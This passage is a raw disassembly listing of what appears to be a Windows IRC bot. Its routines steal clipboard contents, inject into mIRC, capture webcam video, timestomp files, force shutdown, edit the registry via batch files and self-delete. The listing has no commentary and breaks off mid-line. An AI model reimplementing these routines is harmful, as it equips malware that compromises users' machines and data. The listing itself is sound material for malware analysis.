sub_4089F2+9EEj ... mov dword_43A490, 1 loc_40943D: ; CODE XREF: sub_4089F2+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409472 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43A2C0, eax call esi ; GetProcAddress cmp dword_43A2C0, ebx mov dword_43A390, eax jz short loc_40947D cmp eax, ebx jnz short loc_409487 jmp short loc_40947D ; --------------------------------------------------------------------------- loc_409472: ; CODE XREF: sub_4089F2+A56j call dword_421088 ; RtlGetLastWin32Error mov dword_43A49C, eax loc_40947D: ; CODE XREF: sub_4089F2+A78j ; sub_4089F2+A7Ej mov dword_43A498, 1 loc_409487: ; CODE XREF: sub_4089F2+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4094BC push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43A414, eax call esi ; GetProcAddress cmp dword_43A414, ebx mov dword_43A410, eax jz short loc_4094C7 cmp eax, ebx jnz short loc_4094D1 jmp short loc_4094C7 ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_4089F2+AA0j call dword_421088 ; RtlGetLastWin32Error mov dword_43A4A4, eax loc_4094C7: ; CODE XREF: sub_4089F2+AC2j ; sub_4089F2+AC8j mov dword_43A4A0, 1 loc_4094D1: ; CODE XREF: sub_4089F2+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409530 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43A440, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43A438, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43A400, eax call esi ; GetProcAddress cmp dword_43A440, ebx mov dword_43A2D8, eax jz short loc_40953B cmp dword_43A438, ebx jz short loc_40953B cmp dword_43A400, ebx jz short loc_40953B cmp eax, ebx jnz short loc_409545 jmp short loc_40953B ; --------------------------------------------------------------------------- loc_409530: ; CODE XREF: sub_4089F2+AEAj call dword_421088 ; RtlGetLastWin32Error mov dword_43A4AC, eax loc_40953B: ; CODE XREF: sub_4089F2+B26j ; sub_4089F2+B2Ej ... mov dword_43A4A8, 1 loc_409545: ; CODE XREF: sub_4089F2+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40957A push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43A30C, eax call esi ; GetProcAddress cmp dword_43A30C, ebx mov dword_43A40C, eax jz short loc_409585 cmp eax, ebx jnz short loc_40958F jmp short loc_409585 ; --------------------------------------------------------------------------- loc_40957A: ; CODE XREF: sub_4089F2+B5Ej call dword_421088 ; RtlGetLastWin32Error mov dword_43A4B4, eax loc_409585: ; CODE XREF: sub_4089F2+B80j ; sub_4089F2+B86j mov dword_43A4B0, 1 loc_40958F: ; CODE XREF: sub_4089F2+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409618 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43A3D4, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43A420, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43A35C, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43A31C, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43A3B4, eax call esi ; GetProcAddress cmp dword_43A3D4, ebx mov dword_43A328, eax jz short loc_409623 cmp dword_43A420, ebx jz short loc_409623 cmp dword_43A35C, ebx jz short loc_409623 cmp dword_43A31C, ebx jz short loc_409623 cmp dword_43A3B4, ebx jz short loc_409623 cmp eax, ebx jnz short loc_40962D jmp short loc_409623 ; --------------------------------------------------------------------------- loc_409618: ; CODE XREF: sub_4089F2+BA8j call dword_421088 ; RtlGetLastWin32Error mov dword_43A4BC, eax loc_409623: ; CODE XREF: sub_4089F2+BFEj ; sub_4089F2+C06j ... mov dword_43A4B8, 1 loc_40962D: ; CODE XREF: sub_4089F2+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409662 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43A2F0, eax call esi ; GetProcAddress cmp dword_43A2F0, ebx mov dword_43A3C8, eax jz short loc_40966D cmp eax, ebx jnz short loc_409677 jmp short loc_40966D ; --------------------------------------------------------------------------- loc_409662: ; CODE XREF: sub_4089F2+C46j call dword_421088 ; RtlGetLastWin32Error mov dword_43A4C4, eax loc_40966D: ; CODE XREF: sub_4089F2+C68j ; sub_4089F2+C6Ej mov dword_43A4C0, 1 loc_409677: ; CODE XREF: sub_4089F2+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4089F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40967F proc near ; CODE XREF: sub_40CE55+51F9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43A458, esi push edi mov edi, [ebp+arg_8] jz short loc_4096C7 push dword_43A45C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4096C7: ; CODE XREF: sub_40967F+1Aj cmp dword_43A460, esi jz short loc_4096FB push dword_43A464 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4096FB: ; CODE XREF: sub_40967F+4Ej cmp dword_43A468, esi jz short loc_40972F push dword_43A46C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_40972F: ; CODE XREF: sub_40967F+82j cmp dword_43A470, esi jz short loc_409763 push dword_43A474 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409763: ; CODE XREF: sub_40967F+B6j cmp dword_43A478, esi jz short loc_409797 push dword_43A47C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409797: ; CODE XREF: sub_40967F+EAj cmp dword_43A480, esi jz short loc_4097CB push dword_43A484 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4097CB: ; CODE XREF: sub_40967F+11Ej cmp dword_43A488, esi jz short loc_4097FF push dword_43A48C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4097FF: ; CODE XREF: sub_40967F+152j cmp dword_43A490, esi jz short loc_409833 push dword_43A494 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409833: ; CODE XREF: sub_40967F+186j cmp dword_43A498, esi jz short loc_409867 push dword_43A49C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409867: ; CODE XREF: sub_40967F+1BAj cmp dword_43A4A0, esi jz short loc_40989B push dword_43A4A4 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_40989B: ; CODE XREF: sub_40967F+1EEj cmp dword_43A4A8, esi jz short loc_4098CF push dword_43A4AC lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4098CF: ; CODE XREF: sub_40967F+222j cmp dword_43A4B0, esi jz short loc_409903 push dword_43A4B4 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409903: ; CODE XREF: sub_40967F+256j cmp dword_43A4B8, esi jz short loc_409937 push dword_43A4BC lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409937: ; CODE XREF: sub_40967F+28Aj cmp dword_43A4C0, esi jz short loc_40996B push dword_43A4C4 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_40996B: ; CODE XREF: sub_40967F+2BEj lea eax, [ebp+var_200] push offset dword_429A0C push eax call sub_4154E7 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_409998 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 14h loc_409998: ; CODE XREF: sub_40967F+302j lea eax, [ebp+var_200] push eax call sub_40B16D pop ecx pop edi pop esi pop ebx leave retn sub_40967F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099AA proc near ; CODE XREF: sub_40CE55+C50p ; sub_40CE55+C84p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_409A35 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_409A35 cmp [ebp+arg_8], esi jz short loc_409A35 cmp byte ptr [eax], 0 jz short loc_409A35 push ebx push edi call sub_41FD7B mov ebx, eax pop ecx test ebx, ebx jz short loc_409A30 push [ebp+arg_4] push edi call sub_415AC0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_409A29 sub eax, edi push eax push edi push ebx call sub_416D40 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_415CF0 push eax push [ebp+arg_8] push ebx call sub_416F10 push [ebp+arg_4] call sub_415CF0 add eax, esi push eax push ebx call sub_415C10 push ebx push edi call sub_415C00 add esp, 30h mov esi, edi loc_409A29: ; CODE XREF: sub_4099AA+3Cj push ebx call sub_415E3D pop ecx loc_409A30: ; CODE XREF: sub_4099AA+2Bj mov eax, esi pop ebx jmp short loc_409A37 ; --------------------------------------------------------------------------- loc_409A35: ; CODE XREF: sub_4099AA+Cj ; sub_4099AA+13j ... xor eax, eax loc_409A37: ; CODE XREF: sub_4099AA+89j pop edi pop esi pop ebp retn sub_4099AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A3B proc near ; CODE XREF: sub_40CCDD+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_415570 mov esi, [ebp+arg_0] push esi call sub_415CF0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_409A71 or eax, 0FFFFFFFFh jmp short loc_409AE4 ; --------------------------------------------------------------------------- loc_409A71: ; CODE XREF: sub_409A3B+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_409A93 loc_409A7D: ; CODE XREF: sub_409A3B+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_409A8A cmp dl, 0Dh jnz short loc_409A8E loc_409A8A: ; CODE XREF: sub_409A3B+48j and byte ptr [ecx+esi], 0 loc_409A8E: ; CODE XREF: sub_409A3B+4Dj inc ecx cmp ecx, eax jl short loc_409A7D loc_409A93: ; CODE XREF: sub_409A3B+40j xor edx, edx push edi test eax, eax jle short loc_409AC4 lea edi, [ebp+var_7CC] loc_409AA0: ; CODE XREF: sub_409A3B+87j cmp byte ptr [edx+esi], 0 jnz short loc_409ABF cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_409ABF cmp ebx, 1F4h jge short loc_409AC4 mov [edi], ecx inc ebx add edi, 4 loc_409ABF: ; CODE XREF: sub_409A3B+69j ; sub_409A3B+74j inc edx cmp edx, eax jl short loc_409AA0 loc_409AC4: ; CODE XREF: sub_409A3B+5Dj ; sub_409A3B+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_409AE2 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_4155D0 add esp, 0Ch loc_409AE2: ; CODE XREF: sub_409A3B+8Ej mov eax, ebx loc_409AE4: ; CODE XREF: sub_409A3B+34j pop esi pop ebx leave retn sub_409A3B endp ; =============== S U B R O U T I N E ======================================= sub_409AE8 proc near ; CODE XREF: sub_409B42+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_409B21 push ebx mov ebx, edi loc_409B05: ; CODE XREF: sub_409AE8+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_409B24 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_409B05 pop ebx loc_409B21: ; CODE XREF: sub_409AE8+18j pop edi pop esi retn sub_409AE8 endp ; =============== S U B R O U T I N E ======================================= sub_409B24 proc near ; CODE XREF: sub_409AE8+25p ; sub_409B42+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_417193 cmp al, 61h pop ecx jl short loc_409B3F cmp al, 7Ah jg short loc_409B3F movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409B24+Ej ; sub_409B24+12j xor eax, eax retn sub_409B24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B42 proc near ; CODE XREF: sub_40B24D+10p ; sub_40B27F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_415D70 push ebx push esi push edi push [ebp+arg_0] call sub_415CF0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_415CF0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_409AE8 add esp, 14h dec esi mov edi, esi loc_409B80: ; CODE XREF: sub_409B42+B6j test esi, esi jle short loc_409BFE mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_417193 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_417193 pop ecx cmp eax, ebx pop ecx jz short loc_409BF6 loc_409BA6: ; CODE XREF: sub_409B42+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_409B24 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_409BC7 mov eax, ecx loc_409BC7: ; CODE XREF: sub_409B42+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_409BFA mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_417193 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_417193 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_409BA6 loc_409BF6: ; CODE XREF: sub_409B42+62j dec edi dec esi jmp short loc_409B80 ; --------------------------------------------------------------------------- loc_409BFA: ; CODE XREF: sub_409B42+8Aj xor eax, eax jmp short loc_409C03 ; --------------------------------------------------------------------------- loc_409BFE: ; CODE XREF: sub_409B42+40j mov eax, [ebp+arg_0] add eax, edi loc_409C03: ; CODE XREF: sub_409B42+BAj pop edi pop esi pop ebx leave retn sub_409B42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C08 proc near ; CODE XREF: sub_40CE55+3B4Ep ; sub_40CE55+4755p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_421088 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_4210CC ; FormatMessageA lea eax, [ebp+var_100] loc_409C41: ; CODE XREF: sub_409C08+46j mov cl, [eax] cmp cl, 1Fh jg short loc_409C4D cmp cl, 9 jnz short loc_409C50 loc_409C4D: ; CODE XREF: sub_409C08+3Ej inc eax jmp short loc_409C41 ; --------------------------------------------------------------------------- loc_409C50: ; CODE XREF: sub_409C08+43j ; sub_409C08+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_409C6A mov cl, [eax] cmp cl, 2Eh jz short loc_409C50 cmp cl, 21h jl short loc_409C50 loc_409C6A: ; CODE XREF: sub_409C08+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43A4C8 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_415A6A add esp, 18h mov eax, esi pop esi leave retn sub_409C08 endp ; =============== S U B R O U T I N E ======================================= sub_409C92 proc near ; CODE XREF: sub_40CE55+5185p push esi push 0 call dword_43A368 ; OpenClipboard test eax, eax jz short loc_409CC9 push 1 call dword_43A388 ; GetClipboardData mov esi, eax test esi, esi jz short loc_409CC9 push edi push esi call dword_4210D4 ; GlobalLock push esi mov edi, eax call dword_4210D0 ; GlobalUnlock call dword_43A3EC ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_409CC9: ; CODE XREF: sub_409C92+Bj ; sub_409C92+19j xor eax, eax pop esi retn sub_409C92 endp ; =============== S U B R O U T I N E ======================================= sub_409CCD proc near ; CODE XREF: sub_40CE55+4545p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43A3A4 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_409D49 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4210E0 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_4210DC ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4154E7 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43A3F4 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_43A3F4 ; SendMessageA push ebx call dword_4210D8 ; UnmapViewOfFile push edi call dword_42106C ; CloseHandle push 1 pop eax pop ebx jmp short loc_409D4B ; --------------------------------------------------------------------------- loc_409D49: ; CODE XREF: sub_409CCD+16j xor eax, eax loc_409D4B: ; CODE XREF: sub_409CCD+7Aj pop edi pop esi pop ebp retn sub_409CCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D4F proc near ; CODE XREF: sub_40C682+21Cp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43A454 ; SearchPathA test eax, eax jz short loc_409DEE mov edi, 80h push esi push edi push 3 push esi mov esi, dword_421078 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_409DEE lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_4210E8 ; GetFileTime push ebx mov ebx, dword_42106C call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409DEE lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_4210E4 ; SetFileTime push esi call ebx ; CloseHandle loc_409DEE: ; CODE XREF: sub_409D4F+2Aj ; sub_409D4F+51j ... pop edi pop esi pop ebx leave retn sub_409D4F endp ; =============== S U B R O U T I N E ======================================= sub_409DF3 proc near ; CODE XREF: sub_40CE55+13B6p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_413D67 pop ecx pop ecx push 50005h push 6 call dword_43A2E0 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_409DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409E15 proc near ; CODE XREF: sub_40BCEF+472p ; sub_40CE55+5405p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42C198, esi push edi jz short loc_409E39 cmp dword_43A468, esi jnz short loc_409E39 push esi call sub_40B3AE pop ecx loc_409E39: ; CODE XREF: sub_409E15+13j ; sub_409E15+1Bj call sub_41515C lea eax, [ebp+var_764] push eax push 400h call dword_4210F8 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4154E7 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_421078 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_409F99 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4154E7 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_421070 ; WriteFile push edi call dword_42106C ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_415570 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_415570 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_438FBC mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_4210C8 ; GetModuleHandleA push eax call dword_42107C ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_421094 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_409F41 lea eax, [ebp+var_15C] push 80h push eax call dword_4210F4 ; SetFileAttributesA loc_409F41: ; CODE XREF: sub_409E15+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4154E7 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_4210F0 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_4210EC ; CreateProcessA loc_409F99: ; CODE XREF: sub_409E15+72j pop edi pop esi leave retn sub_409E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F9D proc near ; CODE XREF: sub_40C682+31p var_1860 = byte ptr -1860h var_158 = byte ptr -158h var_58 = byte ptr -58h var_48 = dword ptr -48h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 1860h call sub_415D70 push esi push edi mov ecx, 5C1h mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"... lea edi, [ebp+var_1860] lea eax, [ebp+var_158] rep movsd movsw push offset aCA1c_bat ; "c:\\a1c.bat" push eax movsb call sub_4154E7 pop ecx xor esi, esi pop ecx lea eax, [ebp+var_158] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_421078 ; CreateFileA mov edi, eax cmp edi, esi jbe short loc_40A057 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_1860] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1860] push eax push edi call dword_421070 ; WriteFile push edi call dword_42106C ; CloseHandle push 44h lea eax, [ebp+var_48] pop edi push edi push esi push eax call sub_415570 add esp, 0Ch lea ecx, [ebp+var_58] mov [ebp+var_48], edi mov [ebp+var_18], si push 1 pop eax push ecx lea ecx, [ebp+var_48] push ecx push esi push esi push 28h mov [ebp+var_1C], eax push eax push esi lea eax, [ebp+var_158] push esi push eax push esi call dword_4210EC ; CreateProcessA loc_40A057: ; CODE XREF: sub_409F9D+55j pop edi pop esi leave retn sub_409F9D endp ; =============== S U B R O U T I N E ======================================= sub_40A05B proc near ; CODE XREF: sub_4013E9+7p ; sub_401B7C+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43A3D8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40A083 push [esp+arg_0] call dword_43A41C ; gethostbyname test eax, eax jnz short loc_40A07C or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A07C: ; CODE XREF: sub_40A05B+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A083: ; CODE XREF: sub_40A05B+Dj retn sub_40A05B endp ; =============== S U B R O U T I N E ======================================= sub_40A084 proc near ; CODE XREF: sub_40CB75+D6p mov ecx, dword_43A2C0 xor eax, eax test ecx, ecx jz short locret_40A092 call ecx ; DnsFlushResolverCache locret_40A092: ; CODE XREF: sub_40A084+Aj retn sub_40A084 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A093 proc near ; CODE XREF: sub_40CE55:loc_411F8Cp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43A414 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40A159 sub ecx, 32h jz loc_40A152 sub ecx, 48h jz short loc_40A0F3 sub ecx, 6Eh jz short loc_40A0EC loc_40A0D5: ; CODE XREF: sub_40A093+8Bj push eax lea eax, [ebp+var_88] push offset unk_42B428 push eax call sub_4154E7 add esp, 0Ch jmp short loc_40A133 ; --------------------------------------------------------------------------- loc_40A0EC: ; CODE XREF: sub_40A093+40j push offset unk_42B3F0 jmp short loc_40A125 ; --------------------------------------------------------------------------- loc_40A0F3: ; CODE XREF: sub_40A093+3Bj push [ebp+var_8] call sub_415DC9 push [ebp+var_8] mov esi, eax push edi push esi call sub_415570 add esp, 10h cmp esi, edi jz short loc_40A120 lea eax, [ebp+var_8] push ebx push eax push esi call dword_43A414 ; GetIpNetTable cmp eax, edi jz short loc_40A159 jmp short loc_40A0D5 ; --------------------------------------------------------------------------- loc_40A120: ; CODE XREF: sub_40A093+79j push offset unk_42B3AC loc_40A125: ; CODE XREF: sub_40A093+5Ej ; sub_40A093+C4j lea eax, [ebp+var_88] push eax call sub_4154E7 pop ecx pop ecx loc_40A133: ; CODE XREF: sub_40A093+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40B16D pop ecx loc_40A143: ; CODE XREF: sub_40A093+C8j ; sub_40A093+DCj push esi call sub_415E3D mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A152: ; CODE XREF: sub_40A093+32j push offset 